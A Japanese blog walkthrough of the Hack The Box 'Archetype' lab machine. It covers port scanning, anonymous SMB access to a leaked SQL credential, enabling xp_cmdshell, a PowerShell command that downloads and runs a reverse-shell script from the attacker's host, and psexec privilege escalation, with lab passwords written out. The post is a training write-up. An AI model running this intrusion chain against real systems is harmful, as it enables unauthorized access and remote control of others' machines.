コラムColumn

導入事例Case Study

サイバーニュースCyber News

海外のサイバーセキュリティ関連のニュースを日本語でご紹介しています。

お知らせNews

【Hack The Box入門】Archetype攻略ガイド(Windows・SMB・MSSQL)

Hack The Box(HTB)の入門コース「Starting Point」シリーズの中から、今回は Archetype(アーキタイプ) の攻略手順を解説します。
このシリーズは、難易度が「Very Easy(非常に簡単)」と評価された全9台のマシンで構成され、セキュリティ初心者が基本操作を体系的に学べる内容です。

各マシンには公式ウォークスルーも用意されており、ネットワーク調査や脆弱性発見の流れを理解するのに最適です。
初心者にとっては、ゼロデイを探すことよりも、手順を追いながら原理を理解することが重要です。
言い換えれば、「ウォークスルーこそ最高の教材」 です。

それでは、実際に手を動かしていきましょう。

免責事項
本記事はHack The Box公式環境での学習を目的としています。
フラグ(user/root)の内容は掲載していませんので、実際に手順を実行して確認してください。

00. マシンの起動と接続確認

まずは対象マシンを起動します。
HTBの「Join Machine(マシンに参加)」をクリックするだけで起動できます。

起動が完了すると、マシンの IPアドレス が表示されます。

列挙(調査)に入る前に、まずはネットワーク接続が正常か確認しましょう。
VPN経由でターゲットにpingを送信します。
一部のマシンはファイアウォール設定でICMPを遮断していますが、多くの場合は応答が返ってきます。

結果のTTL値が「127」であれば、Windowsマシンであることを示しています。
これで接続確認は完了です。

01. 情報収集(Enumeration)フェーズ

01.1 Nmapで全ポートスキャン

まずは開いているポートを把握します。
Nmapを使用して全ポートをスキャンします。

nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.27

主なオプションの意味:

  • -n:DNS解決を行わない
  • -vv:詳細出力
  • --open:開いているポートのみ表示
  • -p-:全TCPポートを対象
  • -T4:高速スキャン(安定したネットワーク向け)

結果から、いくつか興味深いポートが確認できました。
その他は無視しても構いません。

01.2 Nmapスクリプトエンジンによる詳細解析

特定したポートに対して、Nmapのスクリプトエンジンを実行します。

nmap -sV -sC -oN DetailPorts.nmap -p 135,139,445,1433 10.10.10.27
  • -sV:サービスバージョンを特定
  • -sC:標準スクリプトを実行

結果から、OSは Windows、サービスは Microsoft SQL Server 2017 RTM、さらにSMB(445)ポートも開いていることが分かります。
列挙の精度が、後の突破口になります。

01.3 SMB共有フォルダの確認

次に、開いているSMBポートに匿名で接続できるか確認します。

sudo smbclient -N -L 10.10.10.27
  • -N:パスワードを要求しない
  • -L:共有一覧を取得

結果、パスワード不要でアクセス可能な「backups」共有が見つかりました。
中を確認してみましょう。

smbclient -N \\\\10.10.10.27\\backups\\

ディレクトリ内には prod.dtsConfig というファイルがあります。
これをダウンロードして内容を確認します。

smb: \> dir
smb: \> get prod.dtsConfig

ファイルを開くと、SQL Serverへの接続情報が記載されており、
ARCHETYPE\sql_svc ユーザーの資格情報が含まれていました。

02. SQL Serverへの接続と初期侵入(Foothold)

取得した認証情報を使って、Impacketの mssqlclient.py ツールから接続します。

Impacketは、Pythonでネットワークプロトコルを扱うための強力なライブラリで、SMB・MSRPCなどの操作を行う際に広く使われています。
参考:https://github.com/SecureAuthCorp/impacket

02.1 mssqlclient.pyの使用

wget https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/mssqlclient.py
python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.10.10.27 -windows-auth

接続後、SQL関数 IS_SRVROLEMEMBER を使用して現在の権限を確認します。
戻り値が「1」であれば sysadmin 権限を持っていることを意味します。

02.2 xp_cmdshellの有効化

xp_cmdshell はSQL Server上でWindowsコマンドを直接実行できる管理者向け機能です。
以下の手順で有効化します。

EXEC sp_configure 'Show Advanced Options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell "whoami"

これで、Windows上の任意コマンドを実行できるようになりました。
ここから、PowerShellを利用してリバースシェルを取得します。

02.3 PowerShellによるリバースシェルの取得

リバースシェルとは、ターゲットから攻撃者側への接続を確立するシェル手法です。
PowerShellスクリプトを使うことで、外部から遠隔操作が可能になります。

参考リンク:

スクリプトを script.ps1 として保存し、簡易Webサーバ(updogなど)でホストします。
攻撃者側では netcat で接続を待機します。

ラボ環境でのシェル取得演習

PowerShellスクリプトをダウンロードして実行します。

EXEC xp_cmdshell 'echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.39:9090/script.ps1") | powershell -noprofile'

実行後、sql_svc 権限でリバースシェルが確立されました。
user.txt フラグを確認し、初期侵入が完了です。💀

04. 権限昇格(Privilege Escalation)

次に、Administrator権限への昇格を行います。
現在は sql_svc アカウントで動作しているため、システム内の痕跡や履歴を調査します。

まず注目すべきは、PowerShellの履歴ファイルです:

C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

この中に、バックアップ共有を管理者資格情報でマウントしていた形跡を発見しました。
この情報を利用し、psexec.py でAdministrator権限を取得します。

python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:MEGACORP_4dm1n!!@10.10.10.27

これで完全な管理者権限を獲得できました。
root.txt フラグを確認して完了です。

まとめ:Archetype攻略から学ぶポイント

このマシンを通じて学べる重要なポイントは次の通りです:

  • 列挙の徹底:すべての情報はNmapと共有確認から始まる
  • SMB共有の危険性:匿名アクセスや平文設定ファイルが突破口になる
  • SQL Server経由のRCExp_cmdshell の有効化手法を理解する
  • PowerShellでの侵入実践:リバースシェルの動作原理を学ぶ
  • 権限昇格の基本:履歴・資格情報・共有設定の調査が鍵

「Archetype」は、Windows環境における典型的な侵入プロセスを体系的に体験できる入門マシンです。
この手順を理解しておくことで、他のマシンや実務でも応用できる基礎が身につきます。

次回は「Oopsie」マシンでお会いしましょう。

注意:

  • 本記事の手順はHack The Box公式環境における学習・演習目的です。記載されているユーザー名・パスワード・IP等はすべて架空データであり、実システムへの同様の操作は法律で禁止されています。
  • 本記事で紹介した手法は、攻撃者視点を理解し、防御側の強化に役立てることを目的としています。

投稿者プロフィール

ハリス ディルシャン
ハリス ディルシャン
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)


Page Top